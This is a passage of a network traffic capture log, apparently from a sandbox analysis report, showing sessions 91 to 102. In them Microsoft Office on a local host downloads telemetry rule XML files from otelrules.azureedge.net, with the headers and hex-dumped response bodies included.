EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-16849878b787bfsh7zgp804my400000000t00000000067g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:29 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7136c2ed-601e-0084-41f2-266b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-16849878b78km6fmmkbenhx76n000000018000000000bvvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d5dedb48-201e-003c-4815-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-17c5cb586f66g7mvbfuqdb2m3n000000023g000000003hfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:31 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:31 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114531Z-16849878b78z5q7jpbgf6e9mcw0000000ang00000000f8y7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:31 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 275a1f3a-c01e-007a-47a4-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-16849878b78g2m84h2v9sta29000000000w0000000007stz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:33 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114533Z-16849878b78fkwcjkpn19c5dsn00000000vg00000000fvt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: c4804143-f01e-0003-2fe0-254453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-15b8d89586flzzks5bs37v2b90000000063g0000000092pg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:34 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f795d00-001e-0082-463f-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114534Z-15b8d89586f6nn8zb8x99wuenc00000002w000000000adkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-16849878b78smng4k6nq15r6s400000003g0000000006wgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 806990b7-d01e-002b-5143-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-16849878b7898p5f6vryaqvp5800000002qg00000000f0b9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-16849878b78z5q7jpbgf6e9mcw0000000ar0000000009esg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
